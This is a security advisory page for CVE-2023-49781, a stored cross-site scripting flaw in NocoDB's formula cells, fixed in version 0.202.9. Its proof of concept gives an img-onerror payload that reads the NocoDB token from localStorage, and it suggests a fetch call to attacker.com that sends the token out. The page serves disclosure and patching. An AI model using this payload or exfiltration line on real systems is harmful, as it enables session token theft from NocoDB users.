CVE-2023-49781: NocoDB Vulnerable to Stored Cross-Site Scripting in Formula.vue

Published May 13, 2024
·
Updated

Summary A stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality.

Details The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of "urls" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag <a> with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is <img src=1 onerror="malicious javascripts"URI::(XXX). The evil users then can share this table with others by enabling public viewing and the victims who open the shared link can be attacked.

PoC Step 1: Attacker login the nocodb and creates a table with two fields, "T" and "F". The type of field "T" is "SingleLineText", and the type of the "F" is "Fomula" with the formula content {T} Step 2: The attacker sets the contents of T using <img src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX) Step 3: The attacker clicks the "Share" button and enables public viewing, then copies the shared link and sends it to the victims Step 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage

The attackers can use the fetch(http://attacker.com/?localStorage.getItem('nocodb-gui-v2'))) to replace the alert and then steal the victims' credentials in their attacker.com website.

Impact Stealing the credentials of NocoDB user that clicks the malicious link.

Other sources

NocoDB is software for building databases as spreadsheets. Prior to 0.202.9, a stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality. The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of "urls" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag <a> with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged. This vulnerability is fixed in 0.202.9.

— NVD

Affected Software

2 affected componentsFixes available
npm/nocodb<=0.202.8
0.202.9
NocoDB NocoDB<0.202.9

Event History

May 13, 2024
CVE Published
via MITRE·06:54 PM
Data Sourced
via MITRE·06:54 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·07:59 PM
May 14, 2024
Data Sourced
via NVD·02:06 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·02:06 PM
RemedyAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2023-49781?

CVE-2023-49781 is considered a medium severity vulnerability due to its potential for exploitation through stored cross-site scripting.

2

How do I fix CVE-2023-49781?

To fix CVE-2023-49781, update the nocodb package to version 0.202.9 or later, which addresses this vulnerability.

3

What software is affected by CVE-2023-49781?

CVE-2023-49781 affects nocodb versions up to and including 0.202.8.

4

What type of vulnerability is CVE-2023-49781?

CVE-2023-49781 is a stored cross-site scripting vulnerability related to virtual cell comments functionality.

5

What are the consequences of exploiting CVE-2023-49781?

Exploitation of CVE-2023-49781 could allow an attacker to execute arbitrary scripts in the context of the affected user's session.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203